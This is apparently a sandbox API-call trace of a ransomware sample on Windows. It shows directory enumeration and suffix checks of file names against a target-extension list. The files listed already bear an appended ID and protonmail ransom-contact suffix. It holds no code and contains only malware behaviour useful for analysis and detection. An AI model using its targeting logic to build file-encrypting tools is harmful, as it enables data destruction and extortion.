	[0205.097] FindNextFileW (in: hFindFile=0x6530d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803696f3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x803696f3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x803696f3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x630, dwReserved1=0x7ef, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="OOBE_2~1.HTM")) returned 1
	[0205.097] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[vip76@protonmail.com].html") returned 72
	[0205.097] lstrlenW (lpString=".1cd") returned 4
	[0205.097] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".3ds") returned 4
	[0205.097] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".3fr") returned 4
	[0205.097] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".3g2") returned 4
	[0205.097] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0205.097] lstrlenW (lpString=".3gp") returned 4
	[0205.098] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".7z") returned 3
	[0205.098] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0205.098] lstrlenW (lpString=".accda") returned 6
	[0205.098] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".accdb") returned 6
	[0205.098] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".accdc") returned 6
	[0205.098] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".accde") returned 6
	[0205.098] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".accdt") returned 6
	[0205.098] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".accdw") returned 6
	[0205.098] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0205.098] lstrlenW (lpString=".adb") returned 4
	[0205.098] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".adp") returned 4
	[0205.098] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai") returned 3
	[0205.098] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0205.098] lstrlenW (lpString=".ai3") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai4") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai5") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai6") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai7") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".ai8") returned 4
	[0205.098] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0205.098] lstrlenW (lpString=".anim") returned 5
	[0205.098] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0205.099] lstrlenW (lpString=".arw") returned 4
	[0205.099] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".as") returned 3
	[0205.099] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0205.099] lstrlenW (lpString=".asa") returned 4
	[0205.099] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".asc") returned 4
	[0205.099] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".ascx") returned 5
	[0205.099] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0205.099] lstrlenW (lpString=".asm") returned 4
	[0205.099] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".asmx") returned 5
	[0205.099] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0205.099] lstrlenW (lpString=".asp") returned 4
	[0205.099] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".aspx") returned 5
	[0205.099] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0205.099] lstrlenW (lpString=".asr") returned 4
	[0205.099] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".asx") returned 4
	[0205.099] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".avi") returned 4
	[0205.099] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".avs") returned 4
	[0205.099] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".backup") returned 7
	[0205.099] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0205.099] lstrlenW (lpString=".bak") returned 4
	[0205.099] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".bay") returned 4
	[0205.099] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0205.099] lstrlenW (lpString=".bd") returned 3
	[0205.099] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0205.100] lstrlenW (lpString=".bin") returned 4
	[0205.100] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".bmp") returned 4
	[0205.100] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".bz2") returned 4
	[0205.100] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".c") returned 2
	[0205.100] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0205.100] lstrlenW (lpString=".cdr") returned 4
	[0205.100] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".cer") returned 4
	[0205.100] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".cf") returned 3
	[0205.100] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0205.100] lstrlenW (lpString=".cfc") returned 4
	[0205.100] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".cfm") returned 4
	[0205.100] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".cfml") returned 5
	[0205.100] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0205.100] lstrlenW (lpString=".cfu") returned 4
	[0205.100] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".chm") returned 4
	[0205.100] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".cin") returned 4
	[0205.100] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".class") returned 6
	[0205.100] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0205.100] lstrlenW (lpString=".clx") returned 4
	[0205.100] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0205.100] lstrlenW (lpString=".config") returned 7
	[0205.100] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0205.100] lstrlenW (lpString=".cpp") returned 4
	[0205.100] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".cr2") returned 4
	[0205.101] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".crt") returned 4
	[0205.101] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".crw") returned 4
	[0205.101] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".cs") returned 3
	[0205.101] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0205.101] lstrlenW (lpString=".css") returned 4
	[0205.101] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".csv") returned 4
	[0205.101] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".cub") returned 4
	[0205.101] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dae") returned 4
	[0205.101] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dat") returned 4
	[0205.101] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".db") returned 3
	[0205.101] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0205.101] lstrlenW (lpString=".dbf") returned 4
	[0205.101] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dbx") returned 4
	[0205.101] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dc3") returned 4
	[0205.101] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dcm") returned 4
	[0205.101] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dcr") returned 4
	[0205.101] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".der") returned 4
	[0205.101] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0205.101] lstrlenW (lpString=".dib") returned 4
	[0205.101] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dic") returned 4
	[0205.102] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dif") returned 4
	[0205.102] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".divx") returned 5
	[0205.102] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".djvu") returned 5
	[0205.102] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".dng") returned 4
	[0205.102] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".doc") returned 4
	[0205.102] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".docm") returned 5
	[0205.102] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".docx") returned 5
	[0205.102] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".dot") returned 4
	[0205.102] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dotm") returned 5
	[0205.102] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".dotx") returned 5
	[0205.102] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0205.102] lstrlenW (lpString=".dpx") returned 4
	[0205.102] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dqy") returned 4
	[0205.102] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dsn") returned 4
	[0205.102] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dt") returned 3
	[0205.102] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0205.102] lstrlenW (lpString=".dtd") returned 4
	[0205.102] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dwg") returned 4
	[0205.102] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0205.102] lstrlenW (lpString=".dwt") returned 4
	[0205.103] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".dx") returned 3
	[0205.103] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0205.103] lstrlenW (lpString=".dxf") returned 4
	[0205.103] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".edml") returned 5
	[0205.103] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0205.103] lstrlenW (lpString=".efd") returned 4
	[0205.103] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".elf") returned 4
	[0205.103] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".emf") returned 4
	[0205.103] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".emz") returned 4
	[0205.103] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".epf") returned 4
	[0205.103] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".eps") returned 4
	[0205.103] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".epsf") returned 5
	[0205.103] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0205.103] lstrlenW (lpString=".epsp") returned 5
	[0205.103] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0205.103] lstrlenW (lpString=".erf") returned 4
	[0205.103] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".exr") returned 4
	[0205.103] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".f4v") returned 4
	[0205.103] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".fido") returned 5
	[0205.103] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0205.103] lstrlenW (lpString=".flm") returned 4
	[0205.103] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0205.103] lstrlenW (lpString=".flv") returned 4
	[0205.104] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".frm") returned 4
	[0205.104] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".fxg") returned 4
	[0205.104] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".geo") returned 4
	[0205.104] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".gif") returned 4
	[0205.104] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".grs") returned 4
	[0205.104] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".gz") returned 3
	[0205.104] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0205.104] lstrlenW (lpString=".h") returned 2
	[0205.104] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0205.104] lstrlenW (lpString=".hdr") returned 4
	[0205.104] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0205.104] lstrlenW (lpString=".hpp") returned 4
	[0205.104] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0205.343] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="..", cAlternateFileName="")) returned 1
	[0205.343] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bb768c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bb768c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81bdd834, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Print.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="PRINTI~1.HTM")) returned 1
	[0205.343] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81bdd834, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81bdd834, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fbd558, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate1.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~1.HTM")) returned 1
	[0205.343] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81cc44a9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81cc44a9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate2.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~2.HTM")) returned 1
	[0205.343] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81ce89c4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81ce89c4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81ce89c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate3.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~3.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d0ebc6, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d0ebc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82055f4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate4.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROTATE~4.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81df54ba, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate5.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO8138~1.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81df54ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81df54ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate6.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROF0A6~1.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81e19c83, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81e19c83, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e19c83, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate7.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="ROEA08~1.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81efea7e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81efea7e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81efea7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Rotate8.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="RO089C~1.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f24d73, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f24d73, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f24d73, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Save.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SAVEIC~1.HTM")) returned 1
	[0205.344] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81f4afc5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="Setup.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPI~1.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81f4afc5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81f4afc5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8245bff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="stop.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="STOPIC~1.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81fe38d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81fe38d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81fe38d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="SysReqMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~1.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="SysReqNotMet.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSREQ~2.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x82009b42, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82009b42, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82009b42, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x262f, dwReserved1=0x27ee, cFileName="warn.ico.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WARNIC~1.HTM")) returned 0
	[0205.345] FindClose (in: hFindFile=0x6527d8 | out: hFindFile=0x6527d8) returned 1
	[0205.345] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db2078 | out: hHeap=0x560000) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8226c094, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8226c094, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x822922be, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x4831, cFileName="header.bmp.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HEADER~1.HTM")) returned 1
	[0205.345] FindNextFileW (in: hFindFile=0x652998, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x852fd145, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x4831, cFileName="netfx_Core.mzz.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="NETFX_~1.HTM")) returned 1
